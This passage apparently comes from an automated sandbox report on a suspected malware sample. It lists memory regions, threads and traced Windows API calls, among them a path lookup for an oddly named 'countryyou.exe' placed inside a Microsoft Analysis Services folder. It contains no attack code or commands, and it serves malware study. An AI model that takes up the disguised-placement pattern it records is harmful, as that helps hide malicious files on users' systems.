region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 10406 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 10458 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10477 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10481 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 10500 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Thread: id = 355 os_tid = 0x6ec [0225.347] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.137] EtwEventRegister (in: ProviderId=0x23458c0, EnableCallback=0x1b06135c, CallbackContext=0x0, RegHandle=0x23458a0 | out: RegHandle=0x23458a0) returned 0x0 [0244.669] EtwEventRegister (in: ProviderId=0x234a048, EnableCallback=0x1b0613ac, CallbackContext=0x0, RegHandle=0x234a028 | out: RegHandle=0x234a028) returned 0x0 [0246.400] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1f4d20*=0xd8, lpdwindex=0x1ae334 | out: lpdwindex=0x1ae334) returned 0x0 [0248.327] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1f4d20*=0xd8, lpdwindex=0x1ae334 | out: lpdwindex=0x1ae334) returned 0x0 [0267.442] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a987c20*=0x24, lpdwindex=0x1ae024 | out: lpdwindex=0x1ae024) returned 0x0 [0267.889] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1f4d20*=0xd8, lpdwindex=0x1ae334) Thread: id = 408 os_tid = 0x5d4 Thread: id = 409 os_tid = 0x170 [0227.906] CoGetContextToken (in: pToken=0x1a95f2e0 | out: pToken=0x1a95f2e0) returned 0x800401f0 [0227.906] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 410 os_tid = 0x734 Thread: id = 461 os_tid = 0x874 [0245.707] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.708] CoGetContextToken (in: pToken=0x1b23f9b0 | out: pToken=0x1b23f9b0) returned 0x0 [0245.708] CObjectContext::QueryInterface () returned 0x0 [0245.708] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.708] Release () returned 0x0 [0245.708] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.710] CoUninitialize () [0258.679] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b23dde8 | out: phkResult=0x1b23dde8*=0x0) returned 0x2 [0258.679] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe", nBufferLength=0x105, lpBuffer=0x1b23e920, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe", lpFilePart=0x0) returned 0x44 Thread: id = 462 os_tid = 0x878 Thread: id = 486 os_tid = 0x8d8 Thread: id = 516 os_tid = 0x958 Thread: id = 517 os_tid = 0x95c Thread: id = 531 os_tid = 0x994 [0248.653] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0248.654] CoGetContextToken (in: pToken=0x1ba6fb30 | out: pToken=0x1ba6fb30) returned 0x0 [0248.654] CObjectContext::QueryInterface () returned 0x0 [0248.654] CObjectContext::GetCurrentThreadType () returned 0x0 [0248.654] Release () returned 0x0 [0248.654] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0248.654] CoUninitialize () Thread: id = 549 os_tid = 0x9e4 Process: id = "93" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x197f7000" os_pid = "0x250" os_integrity_level = "0x4000" os_privileges = "0x60b00080" monitor_reason = "rpc_server" parent_id = "78" os_parent_pid = "0x1c4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:00007add" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 8122 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 8123 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 8124 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 8125 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 8126 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 8127 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 8128 start_va = 0xd0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 8129 start_va = 0x150000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 8130 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 8131 start_va = 0x260000 end_va = 0x26cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 8132 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 8133 start_va = 0x280000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 8134 start_va = 0x380000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 8135 start_va = 0x440000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 8136 start_va = 0x4c0000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 8137 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 8138 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 8139 start_va = 0x560000 end_va = 0x560fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 8140 start_va = 0x570000 end_va = 0x570fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 8141 start_va = 0x580000 end_va = 0x580fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 8142 start_va = 0x5b0000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 8143 start_va = 0x680000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 8144 start_va = 0x700000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 8145 start_va = 0x780000 end_va = 0xa4efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8146 start_va = 0xa50000 end_va = 0xbd7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 8147 start_va = 0xbe0000 end_va = 0xd60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000be0000" filename = "" Region: id = 8148 start_va = 0xe10000 end_va = 0xe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 8149 start_va = 0xeb0000 end_va = 0xebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 8150 start_va = 0xec0000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 8151 start_va = 0xfc0000 end_va = 0x10bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 8152 start_va = 0x1100000 end_va = 0x117ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 8153 start_va = 0x11a0000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011a0000" filename = "" Region: id = 8154 start_va = 0x1220000 end_va = 0x131ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 8155 start_va = 0x1330000 end_va = 0x13affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 8156 start_va = 0x1410000 end_va = 0x148ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001410000" filename = "" Region: id = 8157 start_va = 0x1490000 end_va = 0x150ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001490000" filename = "" Region: id = 8158 start_va = 0x1590000 end_va = 0x160ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 8159 start_va = 0x1620000 end_va = 0x169ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001620000" filename = "" Region: id = 8160 start_va = 0x16b0000 end_va = 0x172ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 8161 start_va = 0x17c0000 end_va = 0x183ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017c0000" filename = "" Region: id = 8162 start_va = 0x18c0000 end_va = 0x193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018c0000" filename = "" Region: id = 8163 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 8164 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 8165 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 8166 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 8167 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 8168 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 8169 start_va = 0xffac0000 end_va = 0xffacafff monitored = 0 entry_point = 0xffac246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 8170 start_va = 0x7fef6b60000 end_va = 0x7fef6b80fff monitored = 0 entry_point = 0x7fef6b703b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 8171 start_va = 0x7fef7470000 end_va = 0x7fef7482fff monitored = 0 entry_point = 0x7fef7471d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 8172 start_va = 0x7fef76d0000 end_va = 0x7fef76f6fff monitored = 0 entry_point = 0x7fef76d11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 8173 start_va = 0x7fef7700000 end_va = 0x7fef77d2fff monitored = 0 entry_point = 0x7fef7778b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 8174 start_va = 0x7fef77e0000 end_va = 0x7fef7811fff monitored = 0 entry_point = 0x7fef77fca90 region_type = mapped_file name = "wmidcprv.dll" filename = "\\Windows\\System32\\wbem\\WmiDcPrv.dll" (normalized: "c:\\windows\\system32\\wbem\\wmidcprv.dll") Region: id = 8175 start_va = 0x7fef7ab0000 end_va = 0x7fef7b26fff monitored = 0 entry_point = 0x7fef7aee7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 8176 start_va = 0x7fefb7e0000 end_va = 0x7fefb80cfff monitored = 0 entry_point = 0x7fefb7e1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 8177 start_va = 0x7fefb810000 end_va = 0x7fefb81dfff monitored = 0 entry_point = 0x7fefb815500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 8178 start_va = 0x7fefbae0000 end_va = 0x7fefbaf0fff monitored = 0 entry_point = 0x7fefbae1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 8179 start_va = 0x7fefca20000 end_va = 0x7fefcaa0fff monitored = 0 entry_point = 0x7fefca2cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8180 start_va = 0x7fefcab0000 end_va = 0x7fefcabcfff monitored = 0 entry_point = 0x7fefcab1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 8181 start_va = 0x7fefcac0000 end_va = 0x7fefcaebfff monitored = 0 entry_point = 0x7fefcac1860 region_type = mapped_file name = "umpo.dll" filename = "\\Windows\\System32\\umpo.dll" (normalized: "c:\\windows\\system32\\umpo.dll") Region: id = 8182 start_va = 0x7fefcaf0000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcaf2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 8183 start_va = 0x7fefcb10000 end_va = 0x7fefcb2dfff monitored = 0 entry_point = 0x7fefcb113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 8184 start_va = 0x7fefcb30000 end_va = 0x7fefcb41fff monitored = 0 entry_point = 0x7fefcb31060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 8185 start_va = 0x7fefcb50000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb55c68 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 8186 start_va = 0x7fefcb70000 end_va = 0x7fefcbd6fff monitored = 0 entry_point = 0x7fefcb7d320 region_type = mapped_file name = "umpnpmgr.dll" filename = "\\Windows\\System32\\umpnpmgr.dll" (normalized: "c:\\windows\\system32\\umpnpmgr.dll") Region: id = 8187 start_va = 0x7fefcc40000 end_va = 0x7fefcc49fff monitored = 0 entry_point = 0x7fefcc43cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 8188 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 8189 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 8190 start_va = 0x7fefd1c0000 end_va = 0x7fefd1e1fff monitored = 0 entry_point = 0x7fefd1c5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 8191 start_va = 0x7fefd620000 end_va = 0x7fefd644fff monitored = 0 entry_point = 0x7fefd629658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 8192 start_va = 0x7fefd650000 end_va = 0x7fefd68cfff monitored = 0 entry_point = 0x7fefd6518f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 8193 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8194 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 8195 start_va = 0x7fefd760000 end_va = 0x7fefd76efff monitored = 0 entry_point = 0x7fefd7619b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 8196 start_va = 0x7fefd800000 end_va = 0x7fefd80efff monitored = 0 entry_point = 0x7fefd801020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 8197 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 8198 start_va = 0x7fefd920000 end_va = 0x7fefd95afff monitored = 0 entry_point = 0x7fefd921324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 8199 start_va = 0x7fefd960000 end_va = 0x7fefd995fff monitored = 0 entry_point = 0x7fefd961474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 8200 start_va = 0x7fefd9a0000 end_va = 0x7fefdb0cfff monitored = 0 entry_point = 0x7fefd9a10b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 8201 start_va = 0x7fefdb10000 end_va = 0x7fefdb29fff monitored = 0 entry_point = 0x7fefdb11558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 8202 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 8203 start_va = 0x7fefdc50000 end_va = 0x7fefdca1fff monitored = 0 entry_point = 0x7fefdc510d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 8204 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8205 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 8206 start_va = 0x7fefdf70000 end_va = 0x7fefe046fff monitored = 0 entry_point = 0x7fefdf73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 8207 start_va = 0x7fefe050000 end_va = 0x7fefe057fff monitored = 0 entry_point = 0x7fefe051504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 8208 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8209 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 8210 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 8211 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 8212 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8213 start_va = 0x7feff780000 end_va = 0x7feff956fff monitored = 0 entry_point = 0x7feff781010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 8214 start_va = 0x7feff960000 end_va = 0x7feff9acfff monitored = 0 entry_point = 0x7feff961070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 8215 start_va = 0x7feff9b0000 end_va = 0x7feffa48fff monitored = 0 entry_point = 0x7feff9b1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 8216 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 8217 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 8218 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 8219 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 8220 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 8221 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 8222 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 8223 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 8224 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 8225 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 8226 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 8227 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 8228 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 8229 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 8230 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 8231 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 8232 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8233 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 8234 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 8235 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 8236 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 8237 start_va = 0x590000 end_va = 0x59bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Thread: id = 386 os_tid = 0x408 Thread: id = 387 os_tid = 0x7ac Thread: id = 388 os_tid = 0x770 Thread: id = 389 os_tid = 0x314 Thread: id = 390 os_tid = 0x2a8 Thread: id = 391 os_tid = 0x2a0 Thread: id = 392 os_tid = 0x29c Thread: id = 393 os_tid = 0x284 Thread: id = 394 os_tid = 0x280 Thread: id = 395 os_tid = 0x27c Thread: id = 396 os_tid = 0x278 Thread: id = 397 os_tid = 0x274 Thread: id = 398 os_tid = 0x268 Thread: id = 399 os_tid = 0x260 Thread: id = 400 os_tid = 0x25c Thread: id = 401 os_tid = 0x254